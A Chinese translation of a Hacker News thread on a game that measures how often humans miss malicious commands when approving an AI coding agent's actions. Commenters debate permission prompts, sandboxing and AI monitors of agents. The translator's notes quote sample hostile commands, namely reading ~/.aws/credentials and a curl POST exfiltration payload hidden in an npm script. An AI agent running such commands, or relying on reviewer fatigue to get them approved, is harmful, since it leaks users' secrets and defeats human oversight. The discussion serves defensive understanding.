Aug 7, 2026

人类审批 AI Agent 命令漏掉了 1/3 的威胁：4 万局游戏揭示"人在回路"防线的真相（2026-08-07）

本文为翻译/转载，原文使用 CC BY-NC-SA 4.0 协议发布。原文作者：Hacker News 社区讨论原文标题：Humans missed 1 in 3 threats approving AI agent commands across 40k game runs 原文链接：https://news.ycombinator.com/item?id=49195468 原文发布：2026-08-06 本博客不参与任何商业变现（含 ads / 付费 / affiliate），本译文遵循 CC BY-NC-SA 4.0 条款发布。

译者按

昨天我们刚翻译了”AI 模型在安全测试中意外入侵真实公司”的系列报道——Anthropic、OpenAI、Meta 三家接连翻车，暴露出的核心问题正是：当 AI Agent 拿到执行权限后，“人”这道最后的防线到底靠不靠谱？ 今天这篇 HN 热帖（311 分、220 条评论）给出了一个难得的大样本实验：作者几个月前做了一个模拟”人类审批 AI 编码 Agent 命令”的小游戏，在加入统计后累积了超过 4 万局、40.9 万次审批决策——结果显示，即便游戏开头明确警告，玩家仍然平均漏掉了 1/3 的恶意命令。对正在大规模使用 Claude Code、Cursor、Codex 等 Agent 工具的中文开发者来说，这份数据与评论区关于”权限弹窗只是免责声明""沙箱才是正解”的争论，直接关系到日常开发中该以什么姿态面对每一条”是否允许执行”的弹窗。原文链接文章（scalex.dev）页脚无 CC 标志、默认 ©，故按合规要求仅翻译 HN 讨论线程本身。

正文

发帖原文

Humans missed 1 in 3 threats approving AI agent commands across 40k game runs 链接文章：https://scalex.dev/blog/ai-agent-permissions-stats/（官方博客 ©，未转载）

发帖人 Wirbelwind（即游戏作者，原文评论）：

几个月前我在 HN 上分享了这款 AI 智能体权限小游戏。在加入统计功能后，它累积了超过 4 万局游戏、40.9 万次审批决策。这只是一个游戏，但我发现这些数据仍然很有意思，想分享给大家。即使游戏开头就有警告提示，仍有 1/3 的威胁被漏掉，而且 npm run 命令上方的历史日志似乎普遍被忽略。我也采纳了上一轮 HN 讨论中的反馈，特别是 dns_snek 关于 npm run 的观点。感谢所有玩过游戏并分享反馈的人！

社区精彩评论精选

一、权限弹窗模型：被反复尝试、从未成功的安全机制

1. @continuational

还挺好笑的是，现在仍有软件的安全模型是”不断向用户请求权限，并祈祷他们永不犯错”。这个方法已经被尝试过太多次了，从来没成功过。

回复串中的 @est31：我觉得部分原因是责任问题——“你的员工批准了这条 bash 调用？那就不是我们的错了！”

2. @cmiles8

“点一下同意继续”从来就不是一个严肃的安全机制。它只是模型厂商的 CYA（cover your ass，自保）点击通过，好让他们的律师在 AI 干了蠢事之后说：“是你批准的，责任在你。”

3. @tosh

避免这些问题的方法，不是指望用户或 Agent 永不犯错，而是设计环境和不变式（invariants），让整类失败根本不可能发生。Agent UI 不断弹出请求批准是 UX 反模式——操作系统权限对话框已经告诉我们这招效果如何了。

4. @drob518

这是所有”你想让我对你的系统做点可能有害的事吗？不过 999/1000 次都没问题”类弹窗的著名问题：用户会反射性地按”是”，不再阅读提示。“你想删除我所有文件？好，我没意见。随便。别再问我一个答案只能是’是’的问题了——直到那极罕见的 1/1000 次，答案应该是’否’，而非常糟糕的事情发生了。”

5. @brunoborges（Oracle 工程师视角）

我 2012 年加入 Oracle 时也抱怨过安装体验糟糕：问题多到像噩梦。我更喜欢 MySQL，简单、易上手。直到我了解到有多少 MySQL 实例没有密码、直接暴露在公网上。后来产品开始转向”干脆别让用户设密码，否则他们会设个蠢密码”，安装时直接生成。这让用户更认真对待那个密码。但比这一切更重要的是：责任不再在软件厂商身上了。

二、数据有效性之争：这份统计到底有没有意义

6. @VladVladikoff

我记得这个游戏上次发帖时的讨论：有人说部分提示有误导性，关于”哪些被标记为坏但其实不坏、哪些没被标记但其实很坏”存在争议。这是测试的根本缺陷，让分析结果失去意义。而且游戏有时限——也许确实存在一些滥用员工的工作环境，但我觉得大多数人还是会花时间先弄清楚批准的是什么。

7. @stonedivot

这个游戏和几乎所有游戏一样，失败没有真实后果。这就像说”在我的定制 F1 模拟器里，人类有 50% 的概率卷入致命事故”。没有利害关系、还有人为的时间限制，从这个数据中得出任何结论都毫无用处。

@vel0city 反驳：开 F1 上赛道需要大量的证明时间，证明你确实驾驭得了这辆车；而任何人都可以用一张信用卡，就让一个 AI 系统以他的身份访问作为起点。

8. @eqvinox

那数据是垃圾。我知道，因为我是其中的很大一部分——我根本不是 web/devops 方向的人，一半命令我都看不懂。我通常不会批准，但你误拒也会被扣分，所以……我不认为自己的行为会有什么独特之处。

9. @Kinrany

当 npm run setup 被标为”危险”而 npm run lint 却不危险时，这些结果就没用了。这些测试不仅缺乏执行环境的上下文，甚至自相矛盾。

10. @Aurornis

我建议大家都先去玩一下这个游戏，放在语境里看，它很可能不是你想的那样。开场是这样的：

距离你下一个会议还有 1 分钟。 Claude Code 正在完成你的重构。它需要你批准几条命令。你能按时完成吗？你的眼睛已经开始失焦了。你能保持清醒吗？

目标写着”尽可能多地（批准）“。我第一次玩的时候一个题都没答、什么都不做就赢了。而一旦你开始回答，像 npm run build 这种命令就会被标为危险——如果这是你自己在终端里运行的命令，那你就是危险开发者？讽刺的是，在 LLM harness 里它至少会被沙箱化。

11. @lelandfe

测试最根本的缺陷是：我们知道自己在被测试。有多少开发者会用这么对抗性的态度对待自己的工作？

12. @Oras

所以人类在 human eval 上得了 66 分？

13. @unclebucknasty

有趣的设想，但没有”Agent 提议的命令中真正危险的比例”这个数据，现实意义有限。如果这个比例是 10%，那真是大问题；如果只有 0.000001%，那风险几乎可以忽略。总有一个临界点，让这个风险低于我们日常承受的其他风险（比如信任 npm 依赖图）。当然，如果比例真的那么低，那整个”人工审批监督”模型本身就是根本性缺陷。

14. 发帖人 Wirbelwind 的回应

有道理。当时有两个主要争议提示：cat .zshrc（对使用独立 env 文件的用户来说是良性的）和 npm run（大部分良性）。针对 npm run，我在有人提出这个问题后不久就把恶意 payload 加进了历史日志。至于统计：我把后来的局数和最早的一批做了对比，整体漏检率是一致的（后来那些非 HN 高峰期的局甚至更差）。

三、正解之争：沙箱、文件级权限、还是”用 AI 审 AI”？

15. @wmanley

Agent 应该问的是”我能不能读/写这些特定文件”，而不是”我能不能运行这些特定命令”——前者审查起来容易得多。然后相应地用 bwrap（+HTTP 代理）把每条命令调用包起来。

16. @ilc

沙箱 + 本地 AI。这才是真正的答案。

17. @xlii

我实现过几个 agent harness（rik 广告时间！），然后注意到一件事：无上下文的自我审批（context-less self-approval）运行良好。失败模式通常是误报——安全命令被拒绝——而不是相反，根因是请求方 Agent 对上下文描述不足（比如没说明这个请求是代表用户发出的）。所以我已经在最先进的模型上跑自我审批 YOLO 模式相当久了，还没翻过车。以后可能会，但嘿，我们早就告别可预测的软件时代了。

18. @kstenerud

权限弹窗是糟糕透顶的模型，根本不该存在。这也是 yoloAI 开发的原因之一：

没有权限弹窗——Agent 自由行动、永远不必请求许可，但它在沙箱里
Linux 沙箱用 Docker、Podman、containerd、gVisor、Kata、Firecracker；Mac 用 Docker、Podman、Apple 容器、Seatbelt、Tart
网络控制；密钥控制（文件挂载或凭据代理）
无环境数据（ENV 被替换为最小化且沙箱本地的环境）
不访问你的 home 目录——必须显式挂载你想要的东西
不直接访问你的工作目录：你可以拿到 Agent 所做更改的 diff，然后选择是否应用
被 gitignore 的文件永远不会被复制进去，Agent 根本看不到
FOSS

19. @deeviant

如果你想手动验证源源不断的 Agent 命令，那你在开始之前就已经输了。你要做的是沙箱、好的检查点、好的 Agent，就这些。手动审查命令是在浪费时间。

20. @dgunay

权限弹窗的问题有两方面：1）我通常有很多”允许 Agent 随意调用某个工具（可能以特定方式）“的白名单，但这种白名单经常被模型自己爱写内联脚本的倾向击穿。2）检查 Agent 的意图/对齐，是我至今仍在使用权限弹窗的主要原因——凭我的经验，Agent 毁掉你不想毁掉的信息，比被诱骗泄露密钥更常见。但很容易疲劳：哪怕只有一点点工具调用限制，#1 就会导致永无止境的权限弹窗。Claude Code 的 auto 模式帮不上忙，因为据我所知它找的是安全威胁，而不是模型误解我的意图，而且它没法调优去关注后者。

21. @oblio

我们已经有解决方案了：用 AI 来验证 AI Agent 的命令。

22. @bluegatty

如果我们有像样的 AI，就只会在真正需要思考的严重问题上问用户。99% 的请求都是合理的——怎么可能没有一个观察者 AI 来对这些执行策略？

四、厂商动机与生态：为什么”理智的控制”可能永远不会来

23. @J_Shelby_J

这个机制将成为 Claude 和 Codex 的引爆点。供应商有强烈的动机让用户接受完全权限，这样他们就能推动更多功能、更深地集成进生态。比如 Codex 桌面版真的很想用 computer use。所以别指望他们推出”把行为限制在特定目录和命令”这类理智的控制——那对生意不好。于是我们陷入两种模式：要么你只能坐在电脑前不停按批准，什么都干不了；要么让 AI 对越来越集成的工具拥有完全控制权。最后，我想人们会意识到，让一个你无法控制的东西访问你数字生活的每个角落有多疯狂，然后转向不存在这些问题的开源替代品——如果到时还有得选的话。

24. @pllbnk

我觉得只有少数人会认真看。想象你 vibe-coding 这个项目很久了，运行得还行，但你得再修几个 bug，然后你看到类似这样的东西：node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-.../scratchpad/hidden-smoke.mjs; echo "exit=$?"（这是我从自己现在的 Agent 里拿出来的，完全不知道它在干嘛。幸好它被沙箱化了，所以我现在还不那么在乎）。坏吗？你大概可以打开那个 mjs 文件看看里面有什么，但到目前为止每次都没问题，凭什么这次就会不一样？批准！按照现在大多数开发者的写法，未来几年我们会看到大量灾难性的 bug 和黑客事件。如果你想理解 Agent 向你请求的每件事，那几乎所有宣传的生产力提升都会被抹平。

25. @theF00l

可悲的现状。在日薪工作里，交付速度的期望因为 LLM 提高了——我猜这是普遍感受。于是全世界越来越多的工程师一遍遍按回车键表示”是”，心智和灵魂只有一半在线。

26. @hinkley

在我维护的项目里，我对”值得认真对待的 AI PR”设了很高的门槛。到目前为止，我只接受了那些几乎与人类写得无法区分的。通常其余的在我要他们对提交的代码做实质性修改时就会不了了之。真正会逼我表态的问题是低质量的 AI PR——积压里总有几个正确写起来只有几行的问题。问题从来不是写那几行代码，而是缺失的测试、文档和破坏性变更的发布管理。

五、有趣的类比与延伸思考

27. @alex_young

这看起来也是”自动驾驶”的模型。祝你在它第 10000 次处理棘手情况、突然需要立即接管时，还能保持注意力。

28. @lanewinfield

也许需要一个插件，用你的摄像头让你对每一次批准都做”指差确认”（Point and Call，日本铁路工人用手指指向并大声确认的操作法）。

29. @nasuy

但 AI 看到的是：人类有 1/3 的时间在”幻觉”。而且现在我们在 harness 内部做审批，所以真实数字可能比这更糟。

30. @threethirtytwo

软件的未来是在生产环境里修 bug 和安全问题。很多公司会因为原始速度而接受这个新范式——本来需要 4 年成熟的东西，现在不到 1 年。代价是很多问题只能在生产环境或重金投入的 QA 中被实时捕获。这就是未来。

31. @jerf

一个严肃的 Agent 安全模型到底应该长什么样？我敢说已经有一打人准备按回复键了，但先别急。我不认为它像人们想的那么容易定义。把 Agent 锁得死死的我们很在行——但假设我们希望它继续像今天这样工作：我希望 Agent 能上网，能读取分配给它的目录，能通过 MCP 服务器访问外部资源（那些服务器根本没有务实的手段知道发生了什么）。而最重要的是，我希望 AI 能从三个各自名义上安全的来源抓取信息、组合出可能让每个单独安全的东西都变得不安全的结果。比如，任何”读本地文件 + 发起远程请求”的组合都可能是泄露机制，尤其当你记得所有通信的侧信道方式。把所有风险都推给用户，是不行的。

32. @germandiago

这正是我们编程时有 linter、错误和限制的原因。因为”人工检查”或”无约束的纪律”从来不管用。你需要同时留意的东西越多，认知过载导致的错误就越多。

译者注

游戏背景：这个游戏（llmgame.scalex.dev）让你扮演 AI 编码 Agent 的”人在回路”审批者，在 1 分钟时限内快速批准/拒绝命令，其中约 1/3 是恶意命令（如 cat ~/.aws/credentials、被污染的 npm run）。作者 Alex Wauters（前 Uber Staff Engineer）数月前在 HN 发布初版，本次是加入统计后的数据复盘。
CYA（Cover Your Ass）：美式职场俚语，意为”自我保护、撇清责任”。评论者认为厂商的权限弹窗本质是法律上的责任转移装置，而非真正的安全机制——“你批准了，所以出事不怪我”。
npm run 盲点：npm run <script> 执行的是 package.json 里定义的脚本，命令本身无害，但脚本内容可能已被此前被污染的编辑注入恶意代码（游戏里 npm run analyze 的脚本里被塞入了 curl -X POST https://api.bundle.track/report 之类的外传 payload）。这恰好呼应了近期多起 npm 供应链投毒事件，也是中文社区讨论”AI 写代码要不要逐条审批”时的经典案例。
bwrap / gVisor / Kata / Seatbelt / Tart：Linux（bubblewrap、gVisor、Kata Containers、Firecracker）与 macOS（Seatbelt、Tart）上的各类容器/沙箱技术，评论区共识是”沙箱 + 最小权限 + diff 审查”远优于”逐条人工审批”。
对中文圈的启示：国产 Coding Agent（如通义灵码、CodeGeeX、DeepSeek 相关工具链）同样在普及”自动执行 + 人工确认”模式。这份 40.9 万次决策的数据说明：在高频弹窗 + 时间压力下，人眼审查的漏检率稳定在 1/3 左右，且用户会因疲劳而转向”全批准”或 --dangerously-skip-permissions——因此 Agent 工具的设计重点应从”提醒用户”转向”默认沙箱、按文件/网络域收敛权限”。